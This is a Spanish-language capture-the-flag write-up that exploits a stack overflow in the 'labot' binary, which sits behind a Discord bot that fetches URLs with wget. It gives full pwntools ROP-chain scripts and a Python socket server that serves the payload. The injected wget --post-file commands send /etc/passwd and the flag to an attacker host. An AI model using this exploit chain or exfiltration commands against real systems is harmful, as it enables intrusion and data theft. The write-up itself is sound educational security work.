convid{labot}
Hola! espero que todo ande bien!
El pasado fin de semana, participamos en un CTF organizado por l4t1nhtb y convid.cl, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ ! Mucho amor al team que la rompieron 24/7 cntr0llz ❤️ !
Summary
Este challenge fue un challenge de la categoría pwn, llamado labot. Su descripción es bien breve, nos da una dirección de discord (que sirve para invitar a un bot), y un respectivo binario.
recon
Comenzando, bajé el binario, y entré al canal donde estaba el bot, para leer su funcionamiento:
Entonces, tenemos un bot de discord, que hace un fetch
a una URL, y le pasa el contenido al binario…
Veamos qué tiene de interesante el binario.
De aquí podemos ver que es un binario simple, que hace una llamada a gets
, y luego saca por pantalla lo escrito con puts
. siendo el stackframe
de 128 bytes, (+ 8 bytes del saved rbp
), teóricamente tendríamos el crash en 136 bytes
. Otro detalle, es que tenemos una entrada en la PLT
para system
, esto debido a que tenemos una función llamada “quizasutil”, vendría útil al momento de explotar, no hace más que lanzar un /bin/ls
dynamic analysis
Comenzando con análisis dinámico, eché a correr mi ambiente de pwn (que es básicamente un docker), y comencé con el esqueleto del exploit:
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "labot" ## change for the challenge name
def debug():
p = process(p_name) ## Start the new process
gdb_command = '''b * main + 32
b * 0x000000000040061b'''.split('\n') # The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
return p
if "remote" not in sys.argv:
p = debug()
else:
p = remote("blabla",5000)
## ADDRESSES
junk = b'A'*136
payload = junk
payload += b'BBBBCCCC'
sleep(4)
p.sendline(payload)
p.interactive()
Ya tenemos el punto del crash, hora de comenzar a pensar el esqueleto de nuestro exploit… Tenemos que tener en cuenta, que la única manera de interacción con la máquina remota, es a través del bot:
Algo a tener en cuenta: es el uso de wget para ir a buscar el contenido de la página, esto identificado por el user agent
Con este supuesto, tendremos que hacer un exploit que utilice 1 sólo payload, para lograr todo.
exploit
Plan de acción, utilizando una ropchain (Tenemos buffer infinito :D)
- Controlar el registro
RDI
. - lamar a
gets
y escribir arbitrariamente en un buffer. (descarté la opción de guardar la referencia a nuestro “/bin/sh\x00” en el stack, puesto que las direcciones aquí son muy volátiles… y si a esto le añadimos el ASLR, uff…) - llamar a system con argumento de nuestro payload escrito.
Comenzando a sacar el gadget que necesitamos.
Armando el exploit, llegamos a algo como esto, traté de dejar el código auto explicado para que se entienda lo mejor posible
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "labot" ## change for the challenge name
def debug():
p = process(p_name) ## Start the new process
gdb_command = '''b * main + 32
b * 0x000000000040061b'''.split('\n') # The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
return p
if "remote" not in sys.argv:
p = debug()
else:
p = remote("blabla",5000)
## ADDRESSES
pop_rdi = p64(0x000000000040061b) # pop rdi; ret
pop_rsi = p64(0x0000000000400619) # pop rsi; pop r15; ret
gets_plt = p64(0x00400480) # get@plt
bss = p64(0x601000 + 200) # random address on .bss
system = p64(0x00400470) # call system
command = b'/bin/ls\x00' # comando que vamos a guardar en la .bss
junk = b'A'*136 # junk padding
payload = junk
payload += pop_rdi # primer gadget
payload += bss # pop rdi; ret
payload += gets_plt # ret a gets@plt
payload += pop_rdi # saltamos a pop rdi; ret
payload += bss # guardamos puntero a la .bss en rdi
payload += system # llamamos a system
sleep(4)
p.sendline(payload)
p.sendline(command)
p.interactive()
Corriendo esto, obtenemos una llamada a system con nuestro argumento “command”
Bien! Lamentablemente, pensando en la máquina remota, este exploit no funcionaría, ya que la interacción con el bot, sólo es posible hacer 1 request, y debemos hacer todo con una sola request.
Lo bueno, es que la lectura de carácteres, se hace con gets
, y no hay ningún tipo de fflush
de por medio, por lo que leyendo el manual de gets, podemos concluir lo siguiente:
Básicamente, gets
leerá hasta un newline
o un EOF
.
Con esto, lo que venga después de un new line
, quedará en el buffer del stdin, y será leído por el próximo gets ! 🎯,
Con esto, el exploit va a mutar en lo siguiente.
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "labot" ## change for the challenge name
def debug():
p = process(p_name) ## Start the new process
gdb_command = '''b * main + 32
b * 0x000000000040061b'''.split('\n') # The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
return p
if "remote" not in sys.argv:
p = debug()
else:
p = remote("blabla",5000)
## ADDRESSES
pop_rdi = p64(0x000000000040061b) # pop rdi; ret
pop_rsi = p64(0x0000000000400619) # pop rsi; pop r15; ret
gets_plt = p64(0x00400480) # get@plt
bss = p64(0x601000 + 200) # random address on .bss
system = p64(0x00400470) # call system
command = b'/bin/sh\x00'
junk = b'A'*136
payload = junk # junk padding
payload += pop_rdi # pop rdi; ret
payload += bss # .bss en rdi
payload += gets_plt # ret to gets
payload += pop_rdi # jump a pop rdi; ret
payload += bss # .bss into rdi
payload += system # ret to system
payload += b'\n' # break the first gets
payload += command # into the second gets
sleep(4)
p.sendline(payload)
p.interactive()
Tenemos la misma situación que hace un rato, pero ahora, sólo con un payload!
Ahora, tenemos que pensar en cómo lograr esta situación remotamente, y que sea provechosa para nosotros (no nos sirve spawnear una shell, ya que la interacción sólo será a través del bot de discord). Opté por una opción (que no sé si era lo más fácil), de armar un mini web server
utilizando sockets
en python. Con esto, podremos responder (luego de los respectivos headers), el payload de la forma más raw posible, El exploit se transformará a lo siguiente:
#!/usr/bin/env python3
import socket
from pwn import p64
HOST = 'tu_host'
PORT = 9001
pop_rdi = p64(0x000000000040061b) # pop rdi; ret
pop_rsi = p64(0x0000000000400619) # pop rsi; pop r15; ret
gets_plt = p64(0x00400480) # get@plt
bss = p64(0x601000 + 200) # random address on .bss
system = p64(0x00400470) # call system
command = b'wget --post-file=/etc/passwd nuestra_ip\x00'
junk = b'A'*136
payload = junk
payload += pop_rdi
payload += bss
payload += gets_plt
payload += pop_rdi
payload += bss
payload += system
payload += b'\n'
payload += command
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept() # nueva conexión
with conn:
print("Connected by: {}".format(addr))
response = b"""HTTP/1.1 200 OK
Server: f4d3 server
Content-Length: """ # añadimos hosts básicos
response += bytes([len(payload)]) # content length
response += b"\n\n" # payload of the response
response += payload
conn.send(response) # SENDDD:D
data = conn.recv(1024)
print(data)
Considerando que la máquina tiene wget
, utlizaremos eso mismo para exfiltrar los datos, haciendo el comando: command = b'wget --post-file=/etc/passwd nuestra_ip\x00'
Yes! obtenemos el contenido de /etc/passwd
!
Si updateamos el comando directamente a la flag, obtenemos el siguiente exploit:
#!/usr/bin/env python3
import socket
from pwn import p64
HOST = 'tu_host'
PORT = 9001
junk = b'A'*136
system = p64(0x0040057b)
bss = p64(0x601000 + 200)
pop_rdi = p64(0x000000000040061b) # pop rdi; ret
pop_rsi = p64(0x0000000000400619) # pop rsi, pop r15, ret
lea_rdi = p64(0x000000000040057b)
lea_rax = p64(0x00000000004005a3)
gets_plt = p64(0x00400480)
command = b"""wget --post-file=flag.txt tu_host:3030/test\x00"""
## ADDRESSES
junk = b'A'*136
system = p64(0x400582)
payload = junk
payload += pop_rdi
payload += bss
payload += gets_plt
payload += pop_rdi
payload += bss
payload += system
payload += b'\n'
payload += command
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
with conn:
print("Connected by: {}".format(addr))
response = b"""HTTP/1.1 200 OK
Server: f4d3 server
Content-Length: """
response += bytes([len(payload)])
response += b"\n\n"
response += payload
conn.send(response)
data = conn.recv(1024)
print(data)
Gotcha!
CL{pwn3ado_1nd1r3ct4m3nt3_Nad4_d3_Sh3lLs!}
Espero que se haya entendido todo, cualquier consulta, no duden en preguntar por twitter o por donde gusten, nuevamente, muchas gracias por el CTF,
Saludos!